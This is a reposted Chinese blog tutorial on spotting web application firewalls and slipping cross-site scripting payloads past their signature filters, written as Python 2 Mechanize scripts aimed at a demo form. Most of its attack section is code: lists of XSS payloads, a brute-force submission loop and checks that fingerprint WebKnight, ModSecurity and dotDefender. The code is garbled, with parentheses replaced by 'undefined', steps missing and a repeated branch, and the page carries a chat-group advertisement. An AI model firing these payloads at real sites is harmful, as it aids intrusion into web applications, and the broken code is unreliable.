防火墙在程序员眼里不存在的!这就是黑客Python…
2018-08-06 09:14:00来源:博客园 阅读 ()
1. <script>
2. alert(*)
第一个签名将过滤任何包含<script>字符串的请求,第二个将过滤任何包含alert(*)字符串的请求。
如何判断目标环境是否部署防火墙?
当我们对一个系统进行渗透时,如果你忽略了防火墙的存在,那么就会为我们的测试带来诸多的麻烦。因此在开始真正的渗透之前,我们最好能先判断下目标系统是否存在WAF。那么我们该如何进行判断呢?我们还拿以上定义的payload来举例。在通常情况下,如果我们在一个部署有WAF的系统上执行以上payload,那么在http的响应中我们将能捕获到WAF留下的轨迹:
进群:125240963 即可获取数十套PDF哦!
步骤2:准备恶意请求!
为了检测防火墙的存在与否,第二步我们需要创建一个会被防火墙阻止的恶意跨站脚本请求。这里我将用到一个名为“Mechanize”的python模块.
Automate Cross Site Scripting (XSS) attack using Beautiful Soup and Mechanize
如果你已经了解了Mechanize模块,可以跳过此文章的阅读。现在,我们就可以对任意页面提供的Web表单发起请求了。实现代码如下:
import mechanize as mec
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSiteCheck.
html")
maliciousRequest.select_form(formName)
步骤3:准备payload
在HTML文档中我们定义了一个名为’data’的输入字段:
input type="text" name="data"><br>
因此,我们可以使用以下代码来提交我们的payload:
crossSiteScriptingPayLoad = "<svg><script>alert`1`
<p>"maliciousRequest.form['data'] = crossSiteScriptingPayLoad
可以看到payload被打印在了HTML文档中,这也说明应用程序代码中没有任何的过滤机制,并且由于没有防火墙的保护,我们的恶意请求也未被阻止。
步骤5:防火墙部署检测
变量’response’中包含了从服务器获取的响应信息,也是我们判断目标环境是否部署防火墙的重要依据。下面,我们将针对以下几款防火墙进行检测。
使用暴力测试攻击绕过防火墙过滤器
在文章开头我就说过,如今的大多数防护墙都是基于签名来过滤我们的请求流量的。但是,这并不意味着我们就拿它没办法了。随着Javascript的日趋复杂,我们可以用它来构建数千种的payload并逐一进行尝试,以绕过防火墙的检测。需要说明的是如果防护墙规则被明确定义,那么该方法可能会失效。下面让我们使用python脚本,来帮助我们完成暴力测试攻击:
listofPayloads = ['<dialog open="" onclose="alertundefined1)">
<form method="dialog"><button>Close me!</button><
/form></dialog>', '<svg><script>prompt(
1)<i>', '<a href="javascript:alertundefined1)"
>CLICK ME<a>']
for payLoads in listofPayloads:
maliciousRequest = mec.Browserundefined)
formName = 'waf'
maliciousRequest.openundefined"http://check.cyberpersons.com/cross
SiteCheck.html")
maliciousRequest.select_formundefinedformName)
maliciousRequest.form['data'] = payLoads
maliciousRequest.submitundefined)
response = maliciousRequest.responseundefined).readundefined)
if response.findundefined'WebKnight') >= 0:
print "Firewall detected: WebKnight"
elif response.findundefined'Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.findundefined'Mod_Security') >= 0:
print "Firewall detected: Mod Security"
elif response.findundefined'dotDefender') >= 0:
print "Firewall detected: Dot Defender"
else:
print "No Firewall Present"
listofPayloads = ['<b>','\u003cb\u003e','\x3cb\x3e']
for payLoads in listofPayloads:
maliciousRequest = mec.Browser()
formName = 'waf'
maliciousRequest.open("http://check.cyberpersons.com/crossSite
Check.html")
maliciousRequest.select_form(formName)
maliciousRequest.form['data'] = payLoads
maliciousRequest.submit()
response = maliciousRequest.response().read()
print "---------------------------------------------------"
print response
print "---------------------------------------------------"
我的输出结果如下:
从结果可以看到,并没有编码的条目被转换为其原始格式。
总结
通过本文的介绍,相信大家已经对防火墙有了一个基本的了解和认识。作为一名安全测试人员,了解和掌握防火墙的工作机制是非常必要的。而对于企业而言,更不能忽视了安全的重要性。
标签:
版权申明:本站文章部分自网络,如有侵权,请联系:west999com@outlook.com
特别注意:本站所有转载文章言论不代表本站观点,本站所提供的摄影照片,插画,设计作品,如需使用,请与原作者联系,版权归原作者所有
- 程序员必备的600单词 2019-07-24
- 60K!刚面完Python!这个被Oracle裁掉的程序员求职刷爆全网 2019-06-14
- 8年开发经验程序员告诉你,零基础如何快速学习好python? 2019-05-22
- 5款Python程序员高频使用开发工具推荐 2019-04-11
- 程序员也该懂得“这样就好” 2019-03-12
IDC资讯: 主机资讯 注册资讯 托管资讯 vps资讯 网站建设
网站运营: 建站经验 策划盈利 搜索优化 网站推广 免费资源
网络编程: Asp.Net编程 Asp编程 Php编程 Xml编程 Access Mssql Mysql 其它
服务器技术: Web服务器 Ftp服务器 Mail服务器 Dns服务器 安全防护
软件技巧: 其它软件 Word Excel Powerpoint Ghost Vista QQ空间 QQ FlashGet 迅雷
网页制作: FrontPages Dreamweaver Javascript css photoshop fireworks Flash